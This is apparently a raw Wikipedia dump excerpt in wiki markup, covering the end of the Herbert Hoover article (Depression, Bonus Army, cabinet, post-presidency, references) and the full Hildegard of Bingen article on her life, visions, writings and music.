Even so, New Dealer [[Rexford Tugwell]] &lt;ref&gt; [http://www.pbs.org/wgbh/amex/goldengate/sfeature/sf_30s.html 1930s Engineering], Andrew J. Dunar on [[PBS]] &lt;/ref&gt; later remarked that although no one would say so at the time, &quot;practically the whole New Deal was extrapolated from programs that Hoover started.&quot;

Unemployment rose to 24.9% by the end of Hoover's presidency in 1933, a year that is considered to be the depth of the Great Depression. Even with massive intervention by his successor, [[Franklin Delano Roosevelt]], the economy underwent only limited improvement, with unemployment falling to 14.3% in 1937, and then rising to 19% under a severe recession in 1937-1938 (a contraction labeled a depression by some economists). It was not until the war in the 1940s that the economy recovered fully. (Unemployment did not drop below 9.9% until 1942).

Hoover was nominated, by the Republicans, for a second term but was defeated by Roosevelt in the 1932 election.

===The Bonus Army=== 
{{main|Bonus army}} 
Thousands of [[World War I]] [[veterans]] and their families demonstrated and camped out in Washington, D.C., during June 1932, calling for immediate payment of a bonus that had been promised by the [[Adjusted Service Certificate Law]] for payment in 1924. Although offered money by [[Congress of the United States|Congress]] to return home, some members of the &quot;[[Bonus army]]&quot; remained. Washington police attempted to remove the demonstrators from their camp, but they were unsuccessful and the conflict grew. Hoover sent [[U.S. Army]] forces, led by General [[Douglas MacArthur]] and aided by junior officers [[Dwight D. Eisenhower]] and [[George S. Patton]] to stop a march.  MacArthur, believing he was fighting a communist revolution, chose to clear out the camp with military force. In the ensuing clash, hundreds of civilians were injured and several were killed. The incident was a black eye for Hoover in the [[U.S. presidential election, 1932|1932]] election.

===Administration and Cabinet===
[[Image:HerbertClarkHoover.jpg|thumb|right|200px|Hoover listening to the [[radio]].]]
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;7&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''[[Herbert Hoover]]'''||align=&quot;left&quot;|1929&amp;ndash;1933
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|'''[[Charles Curtis]]'''||align=&quot;left&quot;|1929&amp;ndash;1933
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[Henry L. Stimson]]'''||align=&quot;left&quot;|1929&amp;ndash;1933
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[Andrew Mellon]]'''||align=&quot;left&quot;|1929&amp;ndash;1932
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Ogden L. Mills]]'''||align=&quot;left&quot;|1932&amp;ndash;1933
|-
|align=&quot;left&quot;|[[United States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[James W. Good]]'''||align=&quot;left&quot;|1929
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Patrick J. Hurley]]'''||align=&quot;left&quot;|1929&amp;ndash;1933
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Attorney General]]||align=&quot;left&quot;|'''[[William D. Mitchell]]'''||align=&quot;left&quot;|1929&amp;ndash;1933
|-
|align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[Walter Folger Brown|Walter F. Brown]]'''||align=&quot;left&quot;|1929&amp;ndash;1933
|-
|align=&quot;left&quot;|[[United States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[Charles F. Adams]]'''||align=&quot;left&quot;|1929&amp;ndash;1933
|-
|align=&quot;left&quot;|[[United States Secretary of the Interior|Secretary of the Interior]]||align=&quot;left&quot;|'''[[Ray L. Wilbur]]'''||align=&quot;left&quot;|1929&amp;ndash;1933
|-
|align=&quot;left&quot;|[[United States Secretary of Agriculture|Secretary of Agriculture]]||align=&quot;left&quot;|'''[[Arthur M. Hyde]]'''||align=&quot;left&quot;|1929&amp;ndash;1933
|-
|align=&quot;left&quot;|[[United States Secretary of Commerce|Secretary of Commerce]]||align=&quot;left&quot;|'''[[Robert P. Lamont]]'''||align=&quot;left&quot;|1929&amp;ndash;1932
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Roy D. Chapin]]'''||align=&quot;left&quot;|1932&amp;ndash;1933
|-
|align=&quot;left&quot;|[[United States Secretary of Labor|Secretary of Labor]]||align=&quot;left&quot;|'''[[James J. Davis]]'''||align=&quot;left&quot;|1929&amp;ndash;1930
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William N. Doak]]'''||align=&quot;left&quot;|1930&amp;ndash;1933
|}
&lt;br clear=&quot;all&quot;&gt;

===Supreme Court appointments===
Hoover appointed the following Justices to the [[Supreme Court of the United States]]:

* [[Charles Evans Hughes]] - Chief Justice - 1930
* [[Owen Josephus Roberts]] - 1930
* [[Benjamin Nathan Cardozo]] - 1932

==Post-Presidency==
His opponents in Congress, whom he felt were sabotaging his program for their own political gain, painted him as a callous and cruel president. 

Hoover was badly defeated in the [[U.S. presidential election, 1932|1932 presidential election]]. After Roosevelt assumed the presidency, Hoover became a critic of the [[New Deal]], warning against tendencies toward [[statism]]. His misgivings are in the book, ''The Challenge to Liberty'', where he talked of [[fascism]], [[communism]], and [[socialism]] as enemies of traditional American liberties.

In 1938, Hoover went on a tour of Europe and met many heads of state, including [[Adolf Hitler]]. 

In 1940, Hoover spoke at the Philadelphia Republican convention. Numerous reporters, including [[Drew Pearson (journalist)|Drew Pearson]], wrote that Hoover was positioning himself for the nomination, which, although taking place as France fell to Hitler's armies, was split between four candidates, the isolationists ([[Thomas Dewey]], [[Robert Taft]] and [[Arthur Vandenberg]]) and the eventual winner, and anti-Nazi, [[Wendell Willkie]]. Hoover said that Hitler's victory over Europe was assured, and what America needed was a man as President who could do business with Hitler, and who had never alienated him. This is detailed in the Charles Peters book, &quot;Five Days in Philadelphia.&quot;

[[Image:kennedy-hoover.jpg|right|thumb|President [[John F. Kennedy]] meets with former President Hoover.]]

In 1947, President [[Harry S. Truman]] appointed Hoover to a [[commission]], which elected him chairman, to reorganize the executive departments. This became known as the [[Hoover Commission]]. He was appointed chairman of a similar commission by President [[Dwight D. Eisenhower]] in 1953. Many government economies resulted from both commissions' recommendations. Over the years, Hoover wrote many articles and books, one of which he was working on when he died at the age of 90 in [[New York City]] on [[October 20]], [[1964]] at 11:35 AM, 31 years and seven months after leaving office. He had outlived his wife by 20 years. By the time of his death, he had rehabilitated his image and died praised as a beloved statesman. His was the longest retirement of any President. ([[Gerald Ford]] is now a close contender, and, [[as of 2006]], he has been out of office for 29 years). Hoover and his wife are buried at the [[Herbert Hoover Presidential Library and Museum]] in [[West Branch, Iowa]]. Hoover was honored with a [[state funeral]], and it was America's third in a span of 12 months (The others were for [[John F. Kennedy]] and General of the Army [[Douglas MacArthur]]).

==Heritage and memorials==
The Lou Henry and Herbert Hoover House, built in [[1919]] in [[Palo Alto, California]], is now the official residence of the President of Stanford University, and a [[National Historic Landmark]]. Hoover's rustic rural presidential retreat, [[Rapidan Camp]] (also later known as Camp Hoover) in the [[Shenandoah National Park]] in [[Virginia]], has been recently been restored and opened to the public. The [[Hoover Dam]] was also named in his honor.

==Quotes==
*&quot;True American Liberalism utterly denies the whole creed of socialism.&quot; ''The Challenge to Liberty'', pg 57.
*&quot;A chicken in every pot and a car in every garage&quot; - Presidential Campaign Slogan 1928
*&quot;I outlived the bastards&quot; - answer to a question of how he managed to survive the long ostracism under the Roosevelt administration.
*&quot;Once upon a time my political opponents honored me as possessing the fabulous intellectual and economic power by which I created a worldwide depression all by myself.&quot;
*&quot;Older men declare war. But it is the youth that must fight and die.&quot;
*&quot;There are only two occasions when Americans respect privacy, especially in Presidents. Those are prayer and fishing.&quot;
*&quot;Wisdom oft times consists of knowing what to do next&quot;

==Media==
{{multi-video start}}
{{multi-video item |
  filename      =  Herbert Hoover video montage.ogg|
  title         =  Herbert Hoover video montage|
  description   =Collection of video clips of the president.  (3.2 [[Megabyte|MB]], [[ogg]]/[[Theora]] format). |
  format        = [[Theora]]
}}
{{multi-video end}}

==See also==
[[image:Books_fishing_for_fun.jpg|right|250px|thumb|Hoover's &quot;Fishing for Fun&quot;.]]
* ''[[Fishing for Fun- and to Wash Your Soul]]''
* [[U.S. presidential election, 1928]]
* [[U.S. presidential election, 1932]]
* [[Hoover-Minthorn House]]
* [[Hoover Institution]]
* [[Herbert Hoover Presidential Library and Museum]] - located near [[Iowa City, Iowa|Iowa City]] in [[West Branch, Iowa]].
* [[Hooverball]] - sport created by Hoover's physician, played nearly every morning of his presidency on the White House lawn
* [[Herbert Hoover National Historical Site]] - also in [[West Branch, Iowa]]
* [[Rapidan Camp]] - Hoover's presidential retreat and fishing camp in [[Virginia]]
* [[Hooverville]]

==References==
===Primary sources===
* Myers, William Starr and Walter H. Newton, eds. ''The Hoover Administration; a documented narrative''. 1936.
* Hawley, Ellis, ed.  ''Herbert Hoover: Containing the Public Messages, Speeches, and Statements of the President,'' 4 vols. (1974-1977)
* Hoover, Herbert Clark and Lou Henry Hoover, trans., ''De Re Metallica'', by Agricola, G., The Mining magazine, London,  1912
* Hoover, Herbert C. ''The Challenge to Liberty'', 1934
* Hoover, Herbert C. ''Addresses Upon The American Road, 1933-1938'', 1938
* Hoover, Herbert C. ''Addresses Upon The American Road, 1940-41'', (1941)
* Hoover, Herbert C. ''The Problems of Lasting Peace'', with Hugh Gibson, 1942
* Hoover, Herbert C. ''Addresses Upon The American Road, 1945-48'', (1949)
* Hoover, Herbert C. ''Memoirs.'' New York, 1951–52. 3 vol; v. 1. Years of adventure, 1874–1920; v. 2. The Cabinet and the Presidency, 1920–1933; v. 3. The Great Depression, 1929–1941.

===Secondary sources===
* [http://millercenter.virginia.edu/scripps/reference/bibliographies/hoover.html Long annotated bibliography] via [[University of Virginia]].
* Barber, William J. ''From New Era to New Deal: Herbert Hoover, the Economists, and American Economic Policy, 1921-1933.'' (1985). 
* Barry, John M. ''Rising Tide: The Great Mississippi Flood of 1927 and How It Changed America'' (1998), Hoover played a major role.
* Best, Gary Dean. ''The Politics of American Individualism: Herbert Hoover in Transition, 1918-1921'' (1975)
* Burner, David. ''Herbert Hoover: A Public Life''. (1979). The best one-volume biography.
* DeConde, Alexander. ''Herbert Hoover's Latin American Policy.'' (1951). 
* Dodge, Mark M., ed. ''Herbert Hoover and the Historians.'' (1989). 
* Fausold, Martin L. ''The Presidency of Herbert C. Hoover.'' (1985) standard scholarly overview.
* Fausold Martin L. and George Mazuzan, eds. ''The Hoover Presidency: A Reappraisal'' (1974).
* Ferrell, Robert H. ''American Diplomacy in the Great Depression: Hoover-Stimson Foreign Policy, 1929-1933.'' (1957). 
* Gelfand, Lawrence E. ed., ''Herbert Hoover: The Great War and Its Aftermath, 1914-1923'' (1979).
* Hamilton, David E. ''From New Day to New Deal: American Farm Policy from Hoover to Roosevelt, 1928-1933.'' (1991). 
* Hatfield, Mark. ed. ''Herbert Hoover Reassessed'' (2002).
* Hawley, Ellis. ''Herbert Hoover as Secretary of Commerce: Studies in New Era Thought and Practice'' (1981). A major reinterpretation.
* Hawley, Ellis. ''Herbert Hoover and the Historians'' (1989).
* Hoff-Wilson, Joan. ''Herbert Hoover: Forgotten Progressive.'' (1975). 
* Lichtman, Allan J. ''Prejudice and the Old Politics: The Presidential Election of 1928'' (1979).
* Lisio, Donald J. ''The President and Protest: Hoover, MacArthur, and the Bonus Riot,'' 2d ed. (1994).
* Lisio, Donald J. ''Hoover, Blacks, and Lily-whites: A Study of Southern Strategies'' (1985)
* Lloyd, Craig. ''Aggressive Introvert: A Study of Herbert Hoover and Public Relations Management, 1912-1932'' (1973).
* Nash, George H. ''The Life of Herbert Hoover: The Engineer 1874-1914'' (1983), the definitive scholarly biography.
* Nash, George H. ''Life of Herbert Hoover: The Humanitarian, 1914-1917'' (1988), vol. 2.
* Nash, George H. ''The Life of Herbert Hoover: Master of Emergencies, 1917-1918'' (1996), vol. 3
* Nash, Lee, ed. ''Understanding Herbert Hoover: Ten Perspectives'' (1987)
* Olson, James S. ''Herbert Hoover and the Reconstruction Finance Corporation, 1931-1933'' (1977).
* Romasco, Albert U. ''The Poverty of Abundance: Hoover, the Nation, the Depression'' (1965).
* Schwarz, Jordan A. ''The Interregnum of Despair: Hoover, Congress, and the Depression.'' (1970). Hostile to Hoover.
* Smith, Richard Norton. ''An Uncommon Man: The Triumph of Herbert Hoover'', (1987) covers 1933-64.
* Wilbur, Ray Lyman, and Arthur Mastick Hyde. ''The Hoover Policies.'' (1937). In depth description of his administration by two cabinet members.

===Notes===
&lt;references/&gt;

==External links==
* {{gutenberg author| id=Herbert+Hoover | name=Herbert Hoover}}
* [http://www.uh.edu/engines/epi139.htm Hoover and Agricola]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/hoover.htm Inaugural Address]
* [http://vvl.lib.msu.edu/showfindingaid.cfm?findaidid=HooverH Audio clips of Hoover's speeches]
* [http://www.whitehouse.gov/history/presidents/hh31.html White House Biography]
* [http://www.americanpresident.org/history/herberthoover/ American President.org Biography]
* [http://www.usa-presidents.info/union/hoover-1.html Herbert Hoover First State of the Union Address]
* [http://www.usa-presidents.info/union/hoover-2.html Herbert Hoover Second State of the Union Address]
* [http://www.usa-presidents.info/union/hoover-3.html Herbert Hoover Third State of the Union Address]
* [http://www.usa-presidents.info/union/hoover-4.html Herbert Hoover Fourth State of the Union Address]
* [http://www.davidpietrusza.com/Herbert-Hoover-links.html Herbert Hoover Links]
* [http://www.doctorzebra.com/prez/g31.htm Medical and Health history of Herbert Hoover]
* [http://www.presidentsusa.net/hoover.html Brief Synapse of Herbert Hoover]

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| title=[[List of United States Republican Party presidential tickets|Republican Party presidential nominee]]
| before=[[Calvin Coolidge]]|after=[[Alf Landon]]
| years=[[U.S. presidential election, 1928|1928]] (won), [[U.S. presidential election, 1932|1932]] (lost)}}
{{succession box|title=[[President of the United States]]|before=[[Calvin Coolidge]]|after=[[Franklin D. Roosevelt]]|years=[[March 4]], [[1929]] &amp;ndash; [[March 3]], [[1933]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;| }}
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{{USpresidents}}
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[[Category:1874 births|Hoover, Herbert]]
[[Category:1964 deaths|Hoover, Herbert]]
[[Category:History of Iowa|Hoover, Herbert]]
[[Category:People from Iowa|Hoover, Herbert]]
[[Category:People from Oregon|Hoover, Herbert]]
[[Category:Presidents of the United States|Hoover, Herbert]]
[[Category:Quakers|Hoover, Herbert]]
[[Category:Stanford alumni|Hoover, Herbert]]
[[Category:Swiss-Americans|Hoover, Herbert]]
[[Category:Republican Party (United States) presidential nominees|Hoover, Herbert]]
[[Category:United States Secretaries of Commerce|Hoover, Herbert]]

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  <page>
    <title>Hildegard of Bingen</title>
    <id>13684</id>
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      <id>41925224</id>
      <timestamp>2006-03-02T17:40:01Z</timestamp>
      <contributor>
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        <id>87883</id>
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      <comment>wiktionary magistra</comment>
      <text xml:space="preserve">[[Image:Hildegard.jpg|right|framed|A medieval illumination showing Hildegard von Bingen and the monk Volmar]]

'''Blessed Hildegard of Bingen''' (alternatively ''von Bingen'' or ''Bingensis'') ([[September 16]] [[1098]] &amp;ndash; [[September 17]], [[1179]]) was a [[German people|German]] ''[[:wiktionary:magistra|magistra]]''{{fn|1}}, [[Monasticism|monastic]] leader, [[Mystics|mystic]], author, and composer of [[music]]. 

== Biography ==
A ''vita'' of Hildegard was written by two monks, Godefrid and Theodoric ([[Patrologia Latina|PL]] vol. 197).

Hildegard was born into a family of nobles in the service of the counts of Sponheim, close relatives of the [[Hohenstaufen]] emperors. Because she was a tenth child, and a sickly one from birth, at the age of eight Hildegard's parents sent her as a [[tithe]] to the church. Hildegard was put in the care of Jutta, the sister of Count Meinhard of Sponheim, just outside the [[Disibod]]enberg monastery in Germany. Jutta was enormously popular and acquired so many followers a small nunnery sprang up around her. Upon Jutta's death in [[1136]] Hildegard was chosen magistra of the community, and eventually moved the group to a new monastery on the Rupertsberg at [[Bingen]] on the [[Rhine]].

From the time she was very young, Hildegard claimed to have [[Vision (religion)|vision]]s. She received a prophetic call from God five years after her election as magistra in 1141 demanding of her, &quot;Write what you see&quot;. At first she was hesitant about writing her visions, holding them inside. She was finally convinced to write by members of her order after falling physically ill from carrying the unspoken burden.

== The Awakening ==
During all these years Hildegard confided of her visions only to Jutta and another monk, named Volmar, who was to become her lifelong secretary. However, in [[1141]], Hildegard had a vision that changed the course of her life. A vision of [[God]] gave her instant understanding of the meaning of the religious texts, and commanded her to write down everything she would observe in her visions.
''&quot;And it came to pass ... when I was 42 years and 7 months old, that the heavens were opened and a blinding light of exceptional brilliance flowed through my entire brain. And so it kindled my whole heart and breast like a flame, not burning but warming... and suddenly I understood of the meaning of expositions of the books...&quot;'' Yet Hildegard was also overwhelmed by feelings of inadequacy and hesitated to act. 

''&quot;But although I heard and saw these things, because of doubt and low opinion of myself and because of diverse sayings of men, I refused for a long time a call to write, not out of stubbornness but out of humility, until weighed down by a scourge of god, I fell onto a bed of sickness.&quot;''
 
The [[12th century]] was also the time of schisms and religious foment, when someone preaching any outlandish doctrine could instantly attract a large following. Hildegard was critical of schismatics, indeed her whole life she preached against them, especially the [[Cathar|Cathars]]. She wanted her visions to be sanctioned, approved by the Catholic Church, though she herself never doubted the divine origins to her luminous visions.

She wrote to St. [[Bernard of Clairvaux]], seeking his blessings. Though his answer to her was rather perfunctory, he did bring it to the attention of [[Pope Eugenius III]] (1145-53), who exhorted Hildegard to finish her writings. To determine if her visions were divinely inspired he created a commission which came to visit Hildegard and they declared her to be a genuine mystic and not insane. With papal imprimatur, Hildegard was able to finish her first visionary work Scivias (&quot;Know the Ways of the Lord&quot;) and her fame began to spread through the [[Holy Roman Empire]] and beyond.

== Works ==
[[Image:Sthildegard-manuscript.jpg|thumb|&quot;Universal Man&quot; illumination from Hildegard's ''Liber divinorum operum''.]]

Recent scholarly interest in women in the medieval church has led to a popularization of Hildegard - and particularly of her music. Approximately eighty compositions survive, which is a far larger repertoire than almost any other medieval composer. Among her better known works is the ''[[Ordo Virtutum]]'' (&quot;Order of the Virtues&quot; or &quot;Play of the Virtues&quot;), a type of early [[oratorio]] for women's voices, with one male part - that of the [[Devil]]. Much of her music was created with an evangelical purpose to be performed not only by the [[nun]]s of her [[convent]] but also by male communities as evidenced by her gift to the [[Cistercian]] Abbey at [[Villers]]. The text of her compositions uses a form of modified medieval [[Latin]] unique to Hildegard, for which she created some invented, conflated and abridged words, while the music itself is [[Texture (music)|monophonic]], there is still speculation as to whether or not limited instrumental accompaniment (such as the [[hurdy gurdy]] or [[Organ (music)|organ]]) would have been used.  The use of various [[modes]] and [[vocal registers]] also seem to indicate that the music was not only intended for women's voices. In addition to music, Hildegard also wrote medical, botanical and geological treatises, and she even invented an [[constructed script|alternative alphabet]], the [[litterae ignotae]], which together with her &quot;unknown language&quot;, the [[Lingua Ignota]] which consists of about 900 words, makes her a pioneer in the field of [[constructed language]]s.

Around 1150 Hildegard moved her growing convent from [[Disibodenberg]], where the nuns lived alongside the monks, to [[Bingen]] about 30 km north, on the banks of the [[Rhine]]. She later founded another convent, [[Eibingen]], across the river from Bingen. She was often referred to as [[abbess]] by the many who wrote to her, although she was never officially recognized as such by officials in her own [[archdiocese]]. 

Her remaining years were very productive. She wrote music and texts to her songs, mostly liturgical [[plainchant]] honoring saints and Virgin Mary for the holidays and feast days, and antiphons. There is some evidence that her music and moral play ''[[Ordo Virtutum]]'' (&quot;Play of Virtues&quot;) were performed in her own convent. In addition to Scivias she wrote two other major works of visionary writing, ''[[Liber vitae meritorum]]'' (1150-63) (Book of Life's Merits) and ''[[Liber divinorum operum]]'' (1163) (&quot;Book of Divine Works&quot;), in which she further expounded on her theology of microcosm and macrocosm-man being the peak of God's creation, and man as a mirror through which the splendor of the macrocosm was reflected.  Hildegard also authored ''[[Physica]]'' and ''[[Causae et Curae]]'' (1150), both works on natural history and curative powers of various natural objects, which are together known as ''[[Liber subtilatum]]'' (&quot;The book of subtleties of the Diverse Nature of Things&quot;). These works were uncharacteristic of Hildegard's writings, including her correspondences, in that they were not presented in a visionary form and don't contain any references to divine source or revelation. However, like her religious writings they reflected her religious philosophy-that man was the peak of God's creation and everything was put in the world for man to use. 

Her scientific views were derived from the ancient Greek cosmology of the four elements-fire, air, water, and earth -- with their complementary qualities of heat, dryness, moisture, and cold, and the corresponding four humours in the body -- choler (yellow bile), blood, phlegm, and melancholy (black bile). Human constitution was based on the preponderance of one or two of the humours. Indeed, we still use words &quot;choleric&quot;, &quot;sanguine&quot;, &quot;phlegmatic&quot; and &quot;melancholy&quot; to describe personalities. Sickness upset the delicate balance of the humours, and only consuming the right plant or animal which had that quality you were missing could restore the healthy balance to the body. That is why in giving descriptions of plants, trees, birds, animals, and stones, Hildegard is mostly concerned in describing that object's quality and giving its medicinal use. Thus, &quot;Reyan (tansy) is hot and a little damp and is good against all superfluous flowing humours and whoever suffers from catarrh and has a cough, let him eat tansy. It will bind humors so that they do not overflow, and thus will lessen.&quot; 

She collected her visions into three books: the first and most important ''[[Scivias]]'' (&quot;Know the Way&quot;) completed in [[1151]], ''[[Liber vitae meritorum]]'' (&quot;Book of Life's Merits&quot;) and ''[[De operatione Dei]]'' (&quot;Of God's Activities&quot;) also known as ''[[Liber divinorum operum]]'' (&quot;Book of Divine Works&quot;).  In these volumes, written over the course of her life until her death in 1179, she first describes each vision, then interprets them. The narrative of her visions was richly decorated under her direction, presumably drawn by other nuns in the convent, while transcription assistance was provided by the monk [[Volmar]] (see illustration) with pictures of the visions. Her interpretations are usually quite traditionally Catholic in nature. Her vivid description of the physical sensations which accompanied her visions have been diagnosed by neurologists (including popular author [[Oliver Sacks]]) as symptoms of [[migraine]]; however others have seen in them merely colorful illustrations of the prevailing church doctrine of her time, which she supported, rather than actual visions. The book was celebrated in the [[Middle Ages]] and printed for the first time in [[Paris]] in [[1513]].  

Hildegard's writings are also unique for they provide the earliest description of sexual pleasure from the point of view of a woman.

''&quot;When a woman is making love with a man, a sense of heat in her brain, which brings with it sensual delight, communicates the taste of that delight during the act and summons forth the emission of the man's seed. And when the seed has fallen into its place, that vehement heat descending from her brain draws the seed to itself and holds it, and soon the woman's sexual organs contract, and all the parts that are ready to open up during the time of menstruation now close, in the same way as a strong man can hold something enclosed in his fist. 

She also wrote that strength of semen determined the sex of the child, while the amount of love and passion determine child's disposition. According to Hildegard, the worst case scenario occurs when the seed is weak and parents feel no love, leading to a bitter daughter.

Conversely Hildegard's visionary writings maintain that virginity is the highest level of the spiritual life.  There are many instances both in her letters and visions which decry the mis-use of carnal pleasures.  In Scivias Book II Vision Six.78, 

''&quot;God united man and woman, thus joining the strong to the weak, that each might sustain the other.  But these perverted adulterers change their virile strength into perverse weakness, rejecting the proper male and female roles, and in their wickedness they shamefully follow Satan, who in his pride sought to split and divide Him Who is indivisible.  They create in themselves by their wicked deeds a strange and perverse adultery, and so appear polluted and shameful in My sight...&quot; 

''&quot;...a woman who takes up devilish ways and plays a male role in coupling with another woman is most vile in My sight, and so is she who subjects herself to such a one in this evil deed...&quot;

''&quot;...And men who touch their own genital organ and emit their semen seriously imperil their souls, for they excite themselves to distraction; they appear to Me as impure animals devouring their own whelps, for they wickedly produce their semen only for abusive pollution...&quot;

''&quot;...When a person feels himself disturbed by bodily stimulation let him run to the refuge of continence, and seize the shield of chastity, and thus defend himself from uncleanness.&quot; (translation by Mother Columba Hart and Jane Bishop).

== Divine Harmonies ==
Music was extremely important to Hildegard. She describes it as the means of recapturing the original joy and beauty of paradise. According to her, before the Fall, Adam had a pure voice and joined angels in singing praises to God; after the [[The Fall of Man|Fall]], earthly music was invented and musical instruments created in order to worship God appropriately.

Hildegard wrote [[hymn]]s and [[Sequence (music)|sequence]]s in honor of saints, virgins and Mary. She wrote in the plainchant tradition of a single vocal melodic line, the predominant method of liturgical singing in the 12th century. 

Currently her music is undergoing a popular revival and enjoying public success. One group, ''[[Sequentia (music group)|Sequentia]]'', recorded virtually all of Hildegard's musical output in time for the 900th anniversary of her birth in 1998, including examples of Hildegard's metaphorical writing, imbued with vibrant descriptions of color and light, that occur in her visionary writings.

== Significance ==
Hildegard was a powerful woman for the [[Middle Ages]]. She communicated with Popes such as [[Eugenius III]], [[Anastasius IV]], statesmen such as [[Abbot Suger]], German emperors such as [[Frederick I Barbarossa]], and on one occasion with St. [[Bernard of Clairvaux]] who although he reportedly advanced her work at the Synod of Trier 1147/48, seemed to have little regard for her as evidenced from the one letter from him she received. Nevertheless many Abbots and Abbesses asked her for prayers and opinions on various matters. She traveled widely, giving public speeches, a rarity for a woman of the time.

Hildegard was one of the first saints for which the [[canonization]] process was officially applied, but the process took so long that all four attempts at canonization (the last was in [[1244]], under [[Pope Innocent IV]]) were not completed, and remained at her [[beatification]]. However, she was already called a [[saint]] by the people before the canonization attempts. As a result of the long-standing devotion of the people to Hildegard, her name was taken up in the Roman [[martyrology]] at the end of the [[16th century]] without a formal canonization process, earning her the title of saint. Her [[feast day]] is [[September 17]]. The shrine with the relics of Hildegard is in her second monastery in Eibingen near Rüdesheim (on the Rhine).

==Notes==
*{{fnb|1}} Hildegard of Bingen was often referred to as an [[abbess]], or Mother Superior, by the many who wrote to her, although she was never officially recognized as such by officials in her own [[archdiocese]].

==Bibliography==
*[[Scivias]] seu Visiones (1141-51)
*Liber divinorum operum simplicis hominis (1163-73/74)
*Liber vitae meritorum (1158-63)
*Solutiones triginta octo quaestionum
*Explanatio [[Rule of St Benedict|Regulae S. Benedicti]]
*Explanatio Symboli [[Saint Athanasius|S. Athanasii]]
*Vita [[Saint Rupert|S. Ruperti]]
*Vita [[Saint Disibod|S. Disibodi]]
*Physica, sive Subtilitatum diversarum naturarum creaturarum libri novem
*Hymnodia coelestis. 
*[[Lingua Ignota|Ignota lingua]], cum versione Latina 
*Tractatus de sacramento altaris. 
*[[homily|Homeliae]] LVIII in Evangelia. 
*Libri simplicis et compositae medicinae.

==Sources==
Editions and manuscripts of Hildegard's works
*Wiesbaden, Hessische Landesbibliothek, Hs. 2 (Riesen Codex) or [[Wiesbaden Codex]] (ca. 1180-85)
*Dendermonde, Belgium, St.-Pieters-&amp;-Paulusabdij Cod. 9 (Villerenser codex) (ca. 1174/75)
*Hildegardis Bingensis, ''Epistolarium pars prima I-XC'' edited by L. Van Acker, Corpus Christianorum Continuatio Mediaevalis CCCM 91A (Turnhout: Brepols, 1991)
*Hildegardis Bingensis, ''Epistolarium pars secunda XCI-CCLr'' edited by L. Van Acker, Corpus Christianorum Continuatio Mediaevalis CCCM 91A (Turnhout: Brepols, 1993)
*Hildegardis Bingensis, ''Epistolarium pars tertia CCLI-CCCXC'' edited by L. Van Acker and M. Klaes-Hachmoller, Corpus Christianorum Continuatio Mediaevalis XCIB (Turnhout: Brepols, 2001)
*Hildegardis Bingensis, ''Scivias''. A. Führkötter, A. Carlevaris eds., Corpus Christianorum Scholars Version vols. 43, 43A. (Turnhout: Brepols, 2003)
*Hildegardis Bingensis, ''Liber vitae meritorum''. A. Carlevaris ed. Corpus Christianorum Continuatio Mediaevalis CCCM 90 (Turnhout: Brepols, 1995)
*Hildegardis Bingensis, ''Liber divinorum operum''. A. Derolez and P. Dronke eds., Corpus Christianorum Continuatio Mediaevalis CCCM 92 (Turnhout: Brepols, 1996)
*Friedrich Wilhelm Emil Roth, &quot;Glossae Hildigardis&quot;, in: Elias Steinmeyer and Eduard Sievers eds., ''Die Althochdeutschen Glossen'', vol. III. Zürich: Wiedmann, 1895, 1965, pp. 390-404.
*Analecta Sanctae Hildegardis, in Analecta Sacra vol. 8 edited by Jean-Baptiste Pitra (Monte Cassino, 1882).
*[[Patrologia Latina]] vol. 197 (1855).

== Literature ==
* Joseph L. Baird (trans.), Radd K. Ehrman. ''The letters of Hildegard of Bingen''. New York : Oxford University Press, 1994. ISBN 0195089375 
* Mother Columba Hart and Jane Bishop (1990). &quot;Scivias&quot;, ''The Classics of Western Spirituality''. New York/Mahwah: Paulist Press, 1990. ISBN 0809131307 
* Audrey Ekdahl Davidson, ed. (1992). ''The &quot;Ordo virtutum&quot; of Hildegard of Bingen : critical studies''. Kalamazoo, Mich.: Medieval Institute Publications, Western Michigan University, 1992. ISBN 1879288176 
* Sabina Flanagan. ''Hildegard of Bingen, a Visionary Life''. Routledge, London, 1989. ISBN 0760713618 
* Matthew Fox. ''Illuminations of Hildegard of Bingen''. Santa Fe, N.M. : Bear &amp; Co., 1985. ISBN 1879181975  
* Bruce W. Hozeski, trans. ''Hildegard of Bingen : the Book of the rewards of life (Liber vitae meritorum)''. New York : Garland Pub., 1994. ISBN 0195113713 
* Barbara Newman. ''Sister of wisdom : St. Hildegard's theology of the feminine''. Berkeley : University of California Press, 1987. ISBN 0520066154 
* Barbara Newman, trans. ''Symphonia: A Critical Edition of the &quot;Symphonia armoniae celestium revelationum''. Ithaca: Cornell Univ. Press, 1988.
* Barbara Newman. ''God and the Goddesses''. Philadelphia: University of Pennsylvania Press. ISBN 0812219112   
* Ingeborg Ulrich. ''Hildegard von Bingen : Mystikerin, Heilerin, Gefahrtin der Engel''. Munich: Kosel, 1990. ISBN 3466342546 
* Andrew Weeks. ''German mysticism from Hildegard of Bingen to Ludwig Wittgenstein : a literary and intellectual history''. Albany: State University of New York Press, 1993. ISBN 0791414191 
